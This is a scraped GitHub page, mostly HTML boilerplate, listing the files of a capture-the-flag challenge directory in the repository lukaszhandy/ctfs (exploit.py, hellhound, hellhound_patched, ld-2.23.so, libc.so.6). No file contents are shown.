<div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information.
</div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div>
<div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>exploit.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>hellhound</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>hellhound_patched</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>ld-2.23.so</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>libc.so.6</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> </div> </div>
</include-fragment>
</div>
</div>
</div>
</div>
</turbo-frame>
</main> </div>
</div>
<footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2>
<div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div>
<nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div>
<div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer>
<div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div>
<div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div>
<template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template>
</div>
<div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
|
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com">
<link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" />
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script>
<title>ctfs/Cyber Apocalypse 2022 Intergalactic Chase/forensic/Intergalactic Recovery at main · lukaszhandy/ctfs · GitHub</title>
<meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)">
<meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6">
<meta name="request-id" content="EC43:12398:1A9C28EE:1B6CC94B:64121B27" data-pjax-transient="true"/><meta name="html-safe-nonce" content="5a4c4588f09e5eefb82b121c17a6afdd88273a97fbf649633f4ea8c92b559cbc" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJFQzQzOjEyMzk4OjFBOUMyOEVFOjFCNkNDOTRCOjY0MTIxQjI3IiwidmlzaXRvcl9pZCI6Ijc4MDE0ODc5MjY1MjU4Mjc4NzkiLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="17ed901de1439d074e22b0d5fc37839602635284abb6873687fab40d932fb6ff" data-pjax-transient="true"/>
<meta name="hovercard-subject-tag" content="repository:494162197" data-turbo-transient>
<meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" />
<meta name="selected-link" value="repo_source" data-turbo-transient>
<meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I">
<meta name="octolytics-url" content="https://collector.github.com/github/collect" />
<meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" />
<meta name="user-login" content="">
<meta name="viewport" content="width=device-width"> <meta name="description" content="Contribute to lukaszhandy/ctfs development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/255edc7f4d8da612a57e02a201125d0c0f185ad297c99ce977fab288ad5fc429/lukaszhandy/ctfs" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="ctfs/Cyber Apocalypse 2022 Intergalactic Chase/forensic/Intergalactic Recovery at main · lukaszhandy/ctfs" /><meta name="twitter:description" content="Contribute to lukaszhandy/ctfs development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/255edc7f4d8da612a57e02a201125d0c0f185ad297c99ce977fab288ad5fc429/lukaszhandy/ctfs" /><meta property="og:image:alt" content="Contribute to lukaszhandy/ctfs development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="ctfs/Cyber Apocalypse 2022 Intergalactic Chase/forensic/Intergalactic Recovery at main · lukaszhandy/ctfs" /><meta property="og:url" content="https://github.com/lukaszhandy/ctfs" /><meta property="og:description" content="Contribute to lukaszhandy/ctfs development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/">
<meta name="hostname" content="github.com">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS">
<meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload">
<meta name="turbo-cache-control" content="no-preview" data-turbo-transient="">
<meta data-hydrostats="publish">
<meta name="go-import" content="github.com/lukaszhandy/ctfs git https://github.com/lukaszhandy/ctfs.git">
<meta name="octolytics-dimension-user_id" content="66007288" /><meta name="octolytics-dimension-user_login" content="lukaszhandy" /><meta name="octolytics-dimension-repository_id" content="494162197" /><meta name="octolytics-dimension-repository_nwo" content="lukaszhandy/ctfs" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="494162197" /><meta name="octolytics-dimension-repository_network_root_nwo" content="lukaszhandy/ctfs" />
<link rel="canonical" href="https://github.com/lukaszhandy/ctfs/tree/main/Cyber%20Apocalypse%202022%20Intergalactic%20Chase/forensic/Intergalactic%20Recovery" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive">
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" />
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span>
